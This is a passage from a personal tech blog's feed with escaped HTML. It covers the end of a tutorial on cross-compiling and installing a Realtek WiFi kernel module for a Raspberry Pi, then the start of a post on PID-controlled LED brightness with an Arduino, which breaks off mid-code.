&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https:&lt;span style="color:#f92672"&gt;//&lt;/span&gt;github&lt;span style="color:#f92672"&gt;.&lt;/span&gt;com&lt;span style="color:#f92672"&gt;/&lt;/span&gt;raspberrypi&lt;span style="color:#f92672"&gt;/&lt;/span&gt;linux&lt;span style="color:#f92672"&gt;/&lt;/span&gt;archive&lt;span style="color:#f92672"&gt;/$&lt;/span&gt;KERNEL_HASH&lt;span style="color:#f92672"&gt;.&lt;/span&gt;tar&lt;span style="color:#f92672"&gt;.&lt;/span&gt;gz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tar &lt;span style="color:#f92672"&gt;-&lt;/span&gt;xzf &lt;span style="color:#f92672"&gt;$&lt;/span&gt;KERNEL_HASH&lt;span style="color:#f92672"&gt;.&lt;/span&gt;tar&lt;span style="color:#f92672"&gt;.&lt;/span&gt;gz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; KERNEL_SRC&lt;span style="color:#f92672"&gt;=$&lt;/span&gt;BASEDIR&lt;span style="color:#f92672"&gt;/&lt;/span&gt;linux&lt;span style="color:#f92672"&gt;-$&lt;/span&gt;KERNEL_HASH
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="kernel-configuration"&gt;Kernel configuration
&lt;/h3&gt;&lt;p&gt;Download the configuration from the raspberry pi. The IP should be the IP of the raspberry pi :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;scp pi@192.168.137.250:/proc/config.gz .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="compilation-tools"&gt;Compilation tools
&lt;/h3&gt;&lt;p&gt;Download the compilation tools :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd &lt;span style="color:#f92672"&gt;$&lt;/span&gt;BASEDIR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git:&lt;span style="color:#f92672"&gt;//&lt;/span&gt;github&lt;span style="color:#f92672"&gt;.&lt;/span&gt;com&lt;span style="color:#f92672"&gt;/&lt;/span&gt;raspberrypi&lt;span style="color:#f92672"&gt;/&lt;/span&gt;tools&lt;span style="color:#f92672"&gt;.&lt;/span&gt;git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; CCDIR&lt;span style="color:#f92672"&gt;=$&lt;/span&gt;BASEDIR&lt;span style="color:#f92672"&gt;/&lt;/span&gt;tools&lt;span style="color:#f92672"&gt;/&lt;/span&gt;arm&lt;span style="color:#f92672"&gt;-&lt;/span&gt;bcm2708&lt;span style="color:#f92672"&gt;/&lt;/span&gt;arm&lt;span style="color:#f92672"&gt;-&lt;/span&gt;bcm2708&lt;span style="color:#f92672"&gt;-&lt;/span&gt;linux&lt;span style="color:#f92672"&gt;-&lt;/span&gt;gnueabi&lt;span style="color:#f92672"&gt;/&lt;/span&gt;bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; CCPREFIX&lt;span style="color:#f92672"&gt;=$&lt;/span&gt;CCDIR&lt;span style="color:#f92672"&gt;/&lt;/span&gt;arm&lt;span style="color:#f92672"&gt;-&lt;/span&gt;bcm2708&lt;span style="color:#f92672"&gt;-&lt;/span&gt;linux&lt;span style="color:#f92672"&gt;-&lt;/span&gt;gnueabi&lt;span style="color:#f92672"&gt;-&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="kernel-preparation"&gt;Kernel preparation
&lt;/h3&gt;&lt;p&gt;Prepare the Kernel source :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd $KERNEL_SRC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;zcat $BASEDIR/config.gz &amp;gt; .config
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://raw.githubusercontent.com/raspberrypi/firmware/$FIRMWARE_HASH/extra/Module.symvers
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ARCH=arm CROSS_COMPILE=${CCPREFIX} make oldconfig
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ARCH=arm CROSS_COMPILE=${CCPREFIX} make prepare
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="driver-source"&gt;Driver source
&lt;/h3&gt;&lt;p&gt;Download the driver source :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd $BASEDIR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/romcyncynatus/rtl8192eu.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd rtl8192eu/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="driver-compilation"&gt;Driver compilation
&lt;/h3&gt;&lt;p&gt;Compilation :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make ARCH=arm CROSS_COMPILE=$CCPREFIX KVER=4.1.17+ KSRC=$KERNEL_SRC 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;First error :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make[1]: Entering directory &amp;#39;/home/ron/raspberrypi/linux-ca312f557513e057c456598528e663fe9d009498&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; CC [M] /home/ron/raspberrypi/rtl8192eu/core/rtw_cmd.o
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cc1: error: -Werror=date-time: no option -Wdate-time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;scripts/Makefile.build:258: recipe for target &amp;#39;/home/ron/raspberrypi/rtl8192eu/core/rtw_cmd.o&amp;#39; failed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make[2]: *** [/home/ron/raspberrypi/rtl8192eu/core/rtw_cmd.o] Error 1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Makefile:1384: recipe for target &amp;#39;_module_/home/ron/raspberrypi/rtl8192eu&amp;#39; failed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make[1]: *** [_module_/home/ron/raspberrypi/rtl8192eu] Error 2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make[1]: Leaving directory &amp;#39;/home/ron/raspberrypi/linux-ca312f557513e057c456598528e663fe9d009498&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Makefile:1455: recipe for target &amp;#39;modules&amp;#39; failed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make: *** [modules] Error 2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Edit the Makefile :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vi $BASEDIR/rtl8192eu/Makefile
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Change the following line :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;EXTRA_CFLAGS += -Wno-error=date-time
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;By :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#EXTRA_CFLAGS += -Wno-error=date-time
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Second error :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; CC [M] /home/ron/raspberrypi/rtl8192eu/os_dep/linux/rtw_android.o
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/home/ron/raspberrypi/rtl8192eu/os_dep/linux/rtw_android.c: In function &amp;#39;rtw_android_cmdstr_to_num&amp;#39;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/home/ron/raspberrypi/rtl8192eu/os_dep/linux/rtw_android.c:345:3: error: implicit declaration of function &amp;#39;strnicmp&amp;#39; [-Werror=implicit-function-declaration]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cc1: some warnings being treated as errors
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;scripts/Makefile.build:258: recipe for target &amp;#39;/home/ron/raspberrypi/rtl8192eu/os_dep/linux/rtw_android.o&amp;#39; failed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make[2]: *** [/home/ron/raspberrypi/rtl8192eu/os_dep/linux/rtw_android.o] Error 1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Makefile:1384: recipe for target &amp;#39;_module_/home/ron/raspberrypi/rtl8192eu&amp;#39; failed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make[1]: *** [_module_/home/ron/raspberrypi/rtl8192eu] Error 2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make[1]: Leaving directory &amp;#39;/home/ron/raspberrypi/linux-ca312f557513e057c456598528e663fe9d009498&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Makefile:1455: recipe for target &amp;#39;modules&amp;#39; failed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make: *** [modules] Error 2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Edit the rtw_android.c:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vi $BASEDIR/rtl8192eu/os_dep/linux/rtw_android.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Change the following line :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;if(0 == strnicmp(cmdstr , android_wifi_cmd_str[cmd_num], strlen(android_wifi_cmd_str[cmd_num])) )
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;By :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;if(0 == strncasecmp(cmdstr , android_wifi_cmd_str[cmd_num], strlen(android_wifi_cmd_str[cmd_num])) )
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The compilation should be fine now !&lt;/p&gt;
&lt;h3 id="driver-transfer"&gt;Driver transfer
&lt;/h3&gt;&lt;p&gt;We’ll use SCP to copy the module (8192eu.ko) on our Raspberry. The IP used here is the Raspberry Pi’s.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;scp 8192eu.ko pi@192.168.137.250:~
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="step-3--on-the-raspberry-pi"&gt;Step 3 : On the Raspberry Pi
&lt;/h2&gt;&lt;p&gt;After the transfer, the compiled driver should be in your home folder.&lt;/p&gt;
&lt;p&gt;Activation :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo bash -c &amp;#39;echo &amp;#34;options 8192eu rtw_power_mgnt=0 rtw_enusbss=0&amp;#34;&amp;gt;/etc/modprobe.d/8192eu.conf&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo install -p -m 644 8192eu.ko /lib/modules/4.1.17+/kernel/drivers/net/wireless
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo depmod 4.1.17+
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Reboot:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo reboot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After a reboot, the module is loaded&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;modinfo 8192eu
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;filename: /lib/modules/4.1.17+/kernel/drivers/net/wireless/8192eu.ko
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;version: v4.3.8_12406.20140929
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;author: Realtek Semiconductor Corp.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;description: Realtek Wireless Lan Driver
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;license: GPL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;srcversion: AFD4F17337FAE61BE3C568D
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alias: usb:v2001p3319d*dc*dsc*dp*ic*isc*ip*in*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alias: usb:v0BDAp818Cd*dc*dsc*dp*icFFiscFFipFFin*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alias: usb:v0BDAp818Bd*dc*dsc*dp*icFFiscFFipFFin*
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And WiFi available :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wlan0 Link encap:Ethernet HWaddr XX:XX:XX:XX:XX:XX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; inet addr:192.168.1.25 Bcast:192.168.1.255 Mask:255.255.255.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; inet6 addr: fe80::5326:231f:6f24:cb1c/64 Scope:Link
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; RX packets:11598 errors:0 dropped:9 overruns:0 frame:0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; TX packets:209 errors:0 dropped:1 overruns:0 carrier:0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; collisions:0 txqueuelen:1000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; RX bytes:1841333 (1.7 MiB) TX bytes:26125 (25.5 KiB)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You&amp;rsquo;re done with cross compilation of a Kernel module on Ubuntu for Raspbian&lt;/p&gt;</description></item><item><title>PID regulation : Led brightness regulation with Arduino</title><link>https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/</link><pubDate>Tue, 16 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/arduino-PID-regulation.png" alt="Featured image of post PID regulation : Led brightness regulation with Arduino" /&gt;&lt;p&gt;&lt;a class="link" href="https://docs.arduino.cc/libraries/pid/" target="_blank" rel="noopener"
 &gt;PID regulation&lt;/a&gt; : Led brightness regulation with Arduino. To get this done we&amp;rsquo;ll first do a bit of wiring and then program our Arduino.&lt;/p&gt;
&lt;h2 id="led-wiring-and-control"&gt;Led wiring and control
&lt;/h2&gt;&lt;h3 id="wiring"&gt;Wiring
&lt;/h3&gt;&lt;p&gt;Our led is a Yellow led with a 2.4v forward voltage at 20mA.&lt;br&gt;
Our current source (Arduino) delivers 3.3v.&lt;br&gt;
Resistor calculation : R = (3.3v - 2.4 V) / 25 mA = 0.9v / 0.02A = 45Ω&lt;/p&gt;
&lt;p&gt;We’ll wire the cathode to one of the digital I/O of the Arduino. Note, we chose the digital I/O #3 as we’ll need to use PWM (described below).&lt;/p&gt;
&lt;p&gt;As I just had a 47Ω resistor, this will work :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="411px" data-flex-grow="171" height="732" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/LED-simple.png" srcset="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/LED-simple_hu_556f4fbc4c710a82.png 800w, https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/LED-simple.png 1254w" width="1254"&gt;&lt;/p&gt;
&lt;h3 id="control"&gt;Control
&lt;/h3&gt;&lt;p&gt;In order to control the brightness of the LED, we’ll use the Pulse-width modulation (PWM), or pulse-duration modulation (PDM) :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="330px" data-flex-grow="137" height="536" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/PWM.png" width="737"&gt;&lt;/p&gt;
&lt;p&gt;To do this, we’ll use the following function : analogWrite(pin, value)&lt;br&gt;
- pin: the pin to write to.&lt;br&gt;
- value: the duty cycle: between 0 (always off) and 255 (always on)&lt;/p&gt;
&lt;p&gt;Code sample :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;void setup()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pinMode(3, OUTPUT); 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;void loop()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;//Analog write
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;analogWrite(3, 64); 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Results (0, 25%, 75%, 100%) :&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="PWM-0-25-75-100-1.jpg"&gt;&lt;/p&gt;
&lt;h2 id="led-brightness-regulation"&gt;Led brightness regulation
&lt;/h2&gt;&lt;h4 id="sensor"&gt;Sensor
&lt;/h4&gt;&lt;p&gt;We’ll add a light sensor as wired below :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="290px" data-flex-grow="121" height="1035" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/LED-and-light-sensor.png" srcset="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/LED-and-light-sensor_hu_e7e3186fe65eb7eb.png 800w, https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/LED-and-light-sensor.png 1254w" width="1254"&gt;&lt;/p&gt;
&lt;p&gt;Just place the sensor in front of the LED:&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="484px" data-flex-grow="201" height="989" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/led-and-light-sensor-picture-assembly.jpg" srcset="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/led-and-light-sensor-picture-assembly_hu_f624e137c212898f.jpg 800w, https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/led-and-light-sensor-picture-assembly_hu_230051e5c5e3f798.jpg 1600w, https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/led-and-light-sensor-picture-assembly.jpg 1995w" width="1995"&gt;&lt;/p&gt;
&lt;h3 id="regulation"&gt;Regulation
&lt;/h3&gt;&lt;p&gt;In order to regulate, we’ll use a proportional–integral–derivative controller. A PID controller is a control loop feedback mechanism (controller) commonly used in industrial control systems. A PID controller continuously calculates an error value as the difference between a desired setpoint and a measured process variable. The controller attempts to minimize the error over time by adjustment of a control variable.&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="521px" data-flex-grow="217" height="738" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/PID.png" srcset="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/PID_hu_61fc8e91469d82e5.png 800w, https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/PID_hu_590a483b7546d8ee.png 1600w, https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/PID.png 1604w" width="1604"&gt;&lt;/p&gt;
&lt;p&gt;Here is the code :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;PID_v1.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//Variables
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;double&lt;/span&gt; Setpoint, Input, Output;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//PID parameters
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;double&lt;/span&gt; Kp&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, Ki&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;, Kd&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//Start PID instance
